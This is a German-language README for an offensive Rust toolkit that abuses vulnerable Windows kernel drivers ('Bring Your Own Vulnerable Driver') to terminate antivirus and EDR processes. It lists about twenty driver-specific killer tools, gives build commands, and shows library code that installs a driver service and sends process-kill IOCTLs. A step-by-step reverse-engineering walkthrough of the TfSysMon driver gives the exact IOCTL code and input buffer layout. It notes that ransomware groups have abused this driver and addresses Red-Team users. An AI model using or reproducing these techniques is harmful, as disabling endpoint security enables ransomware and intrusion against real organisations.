BYOVD

BYOVD ist eine Sammlung von PoCs, die demonstrieren, wie anfällige Treiber ausgenutzt werden können, um AV/EDR-Lösungen zu deaktivieren.

Die Sammlung umfasst sowohl undokumentierte Treiber als auch solche, die bereits in LOLDDrivers oder Microsofts empfohlenen Treiberblockierungsregeln abgedeckt sind.

Seit seiner ersten Entdeckung wurde der TfSysMon-Treiber zu LOLDrivers hinzugefügt und von Ransomware-Gruppen mit dem EDRKillShifter-Tool missbraucht, wie von Sophos und ESET berichtet.

📚 Inhaltsverzeichnis

• 🔍 Überblick
• 🏗️ Projektstruktur
• 🔧 Builden
• 📦 byovd-lib
• 💡 PoCs
• 🔬 Vollständiger Reverse-Engineering-Prozess für Treiber (x64)
• 🔗 Referenzen
• ⚠️ Haftungsausschluss

🔍 Überblick

Die BYOVD-Technik hat in der offensiven Sicherheit kürzlich an Popularität gewonnen, insbesondere mit der Veröffentlichung von Tools wie SpyBoys Terminator (verkauft für 3.000 $) und dem ZeroMemoryEx Blackout-Projekt. Diese Tools nutzen anfällige Treiber, um AV/EDR-Agenten zu deaktivieren und erleichtern so weitere Angriffe durch Reduzierung der Erkennung.

Dieses Repository enthält mehrere PoCs, die zu Bildungszwecken entwickelt wurden, um Forschern zu helfen, zu verstehen, wie diese Treiber missbraucht werden können, um Prozesse zu beenden.

🏗️ Projektstruktur

Das Projekt ist als Rust Cargo Workspace organisiert. Die meisten PoCs teilen eine gemeinsame Bibliothek (byovd-lib), die die Grundlagen behandelt: Treiberdienst-Lebenszyklus, IOCTL-Versand, Prozessüberwachung, Berechtigungsanpassung und Bereinigung. Jeder Killer ist ein dünnes Binary (~50-100 Zeilen), das nur seine treiberspezifische Konfiguration definiert. K7Terminator, Astra64-RW und Xhunter1-Killer sind eigenständig – sie haben ihre eigenen [workspace]-Deklarationen und werden direkt aus ihren eigenen Verzeichnissen gebaut, nicht über das Root-Workspace.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM) ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

Jedes `*-Killer/`-Verzeichnis enthält seine eigenen `Cargo.toml`, `src/main.rs` (die `DriverConfig`-Implementierung + CLI), `README.md` (Treiber-Hashes + Verwendung) und die entsprechende `.sys`-Datei, die die Binärdatei zur Laufzeit lädt.

## 🔧 Erstellen

**Voraussetzungen:** Rust-Toolchain und Visual Studio Build Tools mit dem Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binärdateien werden in target/release/ ausgegeben. Kopieren Sie die entsprechende .sys-Treiberdatei vor der Ausführung in dasselbe Verzeichnis wie die ausführbare Datei.

📦 byovd-lib

byovd-lib ist die gemeinsame Bibliothek, auf der alle PoCs (außer K7Terminator) basieren. Es bietet zwei komplementäre APIs -- eine deklarative High-Level-API für den Standard-Ablauf "Treiber installieren, sofort töten, bereinigen" und eine imperative Low-Level-API für Killer, die einen benutzerdefinierten Ablauf benötigen (an einen bereits geladenen Treiber anhängen, auf mehrere PIDs verteilen, strukturierte IOCTL-Puffer, benutzerdefinierte Wiederholungslogik usw.). Beide können in derselben Binärdatei gemischt werden.

Modulaufbau```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### High-Level-API: `DriverConfig` trait + `run()`

Dies verwenden die gebündelten Killer. Implementieren Sie das Trait, rufen Sie `byovd_lib::run()` auf, fertig.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() führt aus: preflight_check → Dienst installieren (SERVICE_DEMAND_START) → StartService → Töten-bei-Sicht-Überwachung (Strg+C zum Beenden) → Dienst stoppen + löschen.

Optionale Übersteuerungen mit ihren Standardwerten:

Low-Level-API: imperative Teile

Wenn der Trait-Ablauf nicht passt – z. B. der Treiber ist bereits geladen und Sie möchten nur einen IOCTL auslösen, Sie benötigen eine benutzerdefinierte Wiederholungsrichtlinie, der IOCTL nimmt eine strukturierte Eingabe statt nur einer PID entgegen, oder Sie möchten auf alle passenden PIDs streuen – setzen Sie die niedrigeren Bausteine direkt zusammen.

Treiberlebenszyklus -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL-Dispatch** – `DeviceHandle` stellt fünf typisierte Formen bereit:

| Methode | Verwenden, wenn |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Sowohl Eingabe- als auch Ausgabepuffer, separate Typen |
| `ioctl_inout<T>(code, &mut data)` | Gleicher Puffer für Eingabe + Ausgabe |
| `ioctl_in<I>(code, &input)` | Nur Eingabe, kein Ausgabepuffer |
| `ioctl_in_unchecked<I>(code, &input)` | Nur Eingabe, ignoriere Fehler (per-Aufruf-Alternative zu `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Rohzeiger-Notausstieg |

Die typisierten Formen vermeiden das manuelle `to_ne_bytes()` / `extend_from_slice()`-Boilerplate, wenn das IOCTL eine Struktur erwartet (z. B. `{ pid: u32, padding: [u8; 20] }`).

**Prozesssuche** – `find_pid_by_name(name)` (erster Treffer) und `find_all_pids_by_name(name)` (alle Treffer, schließt System-PIDs ≤ 4 aus).

**Benutzerdefinierte Monitor-Schleife** – `run_monitor_loop(name, interval, |pid| ...)` akzeptiert einen Closure, sodass Sie pro Treffer tun können, was Sie möchten (mehrere IOCTLs, strukturiertes Logging, Verzweigung über PIDs, Wiederholung bei Fehler).

**Berechtigungen** – `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` für Treiber, die explizite Token-Berechtigungen erfordern. `ensure_running_as_local_system()` gibt einen Fehler zurück, wenn der Prozess nicht als `S-1-5-18` läuft.

**Handle-Wrapper** – `WinHandle` (automatisch `CloseHandle`) und `ScHandle` (automatisch `CloseServiceHandle`) sind `Send + Sync` und können zwischen Threads verschoben werden.

### Beispiel: An einen bereits geladenen Treiber anhängen, kein Service-Lebenszyklus

Das tut `UnknownKiller --attach` – SCM vollständig überspringen, einfach das Gerät öffnen und das IOCTL einmal auslösen:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Abwärtskompatible Aliasse

FileHandle / ServiceHandle werden weiterhin als WinHandle / ScHandle aufgelöst, und get_pid_by_name bleibt ein Alias für find_pid_by_name, sodass älterer Code, der diese Namen referenziert, weiterhin kompiliert.

💡 POCs

Nachfolgend sind die Treiber und ihre entsprechenden PoCs in diesem Repository aufgeführt:

• AppRemover-Killer: Zielt auf ardrv.sys von OPSWAT AppRemover.
• Astra64-RW: Zielt auf astra64.sys von EnTech Taiwan (Astra32 / TVicHW) -- eigenständiger Kernel-R/W-PoC.
• BdApiUtil-Killer: Zielt auf BdApiUtil64.sys von Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer: Zielt auf CcProtect.sys von CnCrypt.
• EnPortv-Killer: Zielt auf EnPortv.sys von Guidance EnCase.

🔬 Kompletter Reverse-Engineering-Prozess für Treiber (x64)

Dieser Abschnitt zeigt die vollständige A-Z Reverse-Engineering-Methodik am praktischen Beispiel des TfSysMon-Treibers. Dieser Prozess gilt für jede Analyse von x64 Windows-Kernel-Treibern.

🎯 Schritt 0: Voranalyse - Prüfung der Funktionsimporte

Überprüfen Sie die Treiberimporte, bevor Sie mit dem Reverse Engineering beginnen.

Ein einfacher Prozess-Killer-Treiber benötigt zwei Dinge:

eine Möglichkeit, ein Handle auf einen Prozess zu erhalten (z. B. ZwOpenProcess oder NtOpenProcess)

eine Möglichkeit, den Prozess zu beenden (z. B. ZwTerminateProcess oder NtTerminateProcess)

Überprüfen Sie, ob ein Treiber beide Funktionstypen importiert. Wenn ein Treiber in seinen importierten Funktionen Nt/ZwOpenProcess UND Nt/ZwTerminateProcess enthält, ist er ein potenzieller Prozess-Killer-Treiber-Kandidat.

Erst nach Bestätigung dieser Importe sollten Sie mit dem detaillierten Reverse Engineering in IDA Pro fortfahren.

🛠️ Voraussetzungen für die x64-Treiberanalyse

Erforderliche Werkzeuge:

• IDA Pro - zum Disassemblieren des Treibers für die statische Analyse
• OSRLoader - zum Laden/Ausführen des Treibers (Alternative zum sc.exe-Befehl)

📍 Schritt 1: Lokalisieren und Analysieren von DriverEntry

Jeder Windows-Treiber beginnt mit DriverEntry – suchen Sie zuerst diese Funktion:

In TfSysMon sieht DriverEntry wie folgt aus:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**Analyse-Notizen:**
- Der Code führt eine Initialisierung mit BugCheckParameter2 und BugCheckParameter3 durch
- Die eigentliche Treiberinitialisierung erfolgt in `sub_17484`
- Folgen Sie dem Aufruf von `sub_17484(DriverObject)` - hier erfolgt die eigentliche Treibereinrichtung

### 📍 Schritt 2: Treiber-Initialisierungskette folgen

**Navigieren Sie zur Initialisierungsfunktion (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

Wichtigste Erkenntnisse aus dem Reverse Engineering:

• Gerätename: \\Device\\TfSysMon (Kernel-Bereich)
• Symbolischer Link: \\DosDevices\\TfSysMon (im Benutzermodus zugänglich als \\.\\TfSysMon)
• Gerätetyp: 0x22 = FILE_DEVICE_UNKNOWN
• IRP-Handler: Alle Hauptfunktionen zeigen auf sub_17694
• Zielfunktion: MajorFunction[14] = IRP_MJ_DEVICE_CONTROL-Handler

📍 Schritt 3: Analyse der IRP-Dispatch-Funktion

Navigieren Sie zur Dispatch-Funktion (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**Reverse-Engineering-Analyse:**
- Gerätevalidierung erfolgt zuerst (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` bestimmt den Operationstyp
- **KRITISCH**: MajorFunction-Werte 14 (0xE) und 15 (0xF) rufen `sub_177D8` auf
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL-Verarbeitung
- Der angreifbare Codepfad ist: **IOCTL-Anforderung → sub_177D8**

### 📍 Schritt 4: Reverse-Engineering des IOCTL-Handlers

**Navigieren Sie zur IOCTL-Verarbeitungsfunktion (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

Kritische Reverse-Engineering-Erkenntnisse:

• IOCTL-Extraktion: v7 = *(_DWORD *)(a2 + 24) holt den IOCTL-Code aus IO_STACK_LOCATION
• Eingabepuffer: Irp->AssociatedIrp.MasterIrp enthält Benutzerdaten
• Pufferlänge: v9 = *(unsigned int *)(a2 + 16) holt die Größe des Eingabepuffers
• Anfälliger IOCTL: 0xB4A00404 führt zu sub_1837C
• Größenprüfung: Validiert nur Puffer ≥ 0x18 (24 Bytes) - minimale Validierung!

📍 Schritt 5: Analysieren der anfälligen Funktion

Navigieren Sie zur Prozessbeendigungsfunktion (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**Funktionsanalyse:**
- **Eingabestruktur**: Aus der Treibercodeanalyse haben wir das Buffer-Layout ermittelt, bei dem die PID am Offset +4 liegt
- **Eingabe-Parsing**: `v3 = *(void **)(a1 + 4)` extrahiert die PID aus dem Eingabe-Buffer bei Offset +4
- **Prozessöffnung**: `ZwOpenProcess` mit minimalen Zugriffsrechten (1u = PROCESS_TERMINATE)
- **Keine Sicherheitsprüfungen**: Keine Validierung der Berechtigungen des Aufrufers oder des Schutzes des Zielprozesses
- **Prozessbeendigung**: Direkter Aufruf von `ZwTerminateProcess`
- **Wiederholungslogik**: Mehrere Versuche sowohl beim Öffnen als auch beim Beenden
- **Beliebiger Prozess**: Kann jeden Prozess beenden, der für das SYSTEM-Konto zugänglich ist

### 📍 Schritt 6: Die vollständige Angriffskette kartieren

**Komplette Reverse-Engineering-Ablauf:**
1. **Einstiegspunkt**: Der Benutzer ruft `DeviceIoControl` auf `\\.\\TfSysMon` auf
2. **IRP-Erstellung**: Der I/O-Manager erstellt ein IRP mit MajorFunction = 14
3. **Dispatch**: `sub_17694` leitet an `sub_177D8` zur IOCTL-Verarbeitung weiter
4. **IOCTL-Prüfung**: `sub_177D8` validiert den IOCTL-Code `0xB4A00404` und die Buffergröße ≥ 24 Bytes
5. **Ausführung**: Ruft `sub_1837C` mit dem Benutzereingabe-Buffer auf
6. **Beendigung**: `sub_1837C` extrahiert die PID aus Offset +4 und beendet den Prozess über `ZwTerminateProcess`

**Eingabe-Buffer-Struktur (aus dem Treiber-Reverse-Engineering):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

Diese Methodik zeigt, wie man systematisch jeden Windows x64-Kernel-Treiber reverse-engineeren kann, um ähnliche Schwachstellen zu identifizieren, indem man den Ausführungspfad von der Kommunikation im Benutzermodus bis zu gefährlichen Kernel-Operationen verfolgt.

Unterstützung 🍺

Falls BYOVD Ihren Red-Team-Operationen geholfen hat, denken Sie darüber nach, mir ein Bier zu kaufen:

🔗 Referenzen

• Alice Climent-Pommerets Blog: Finding and Exploiting Process Killer Drivers with LOL for $3000
• LOLDrivers: Ein zentrales Repository bekannter verwundbarer Treiber
• Microsoft Driver Block Rules: Microsofts empfohlene Treiber-Blockregeln
• Windows Kernel Programming von Pavel Yosifovich
• Windows Internals, Part 1 & 2 von Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ Haftungsausschluss

Das BYOVD-Projekt dient ausschließlich Bildungs- und Forschungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diese Programme verursacht werden. Holen Sie immer die ausdrückliche Genehmigung ein, bevor Sie diese Tools auf einem System einsetzen.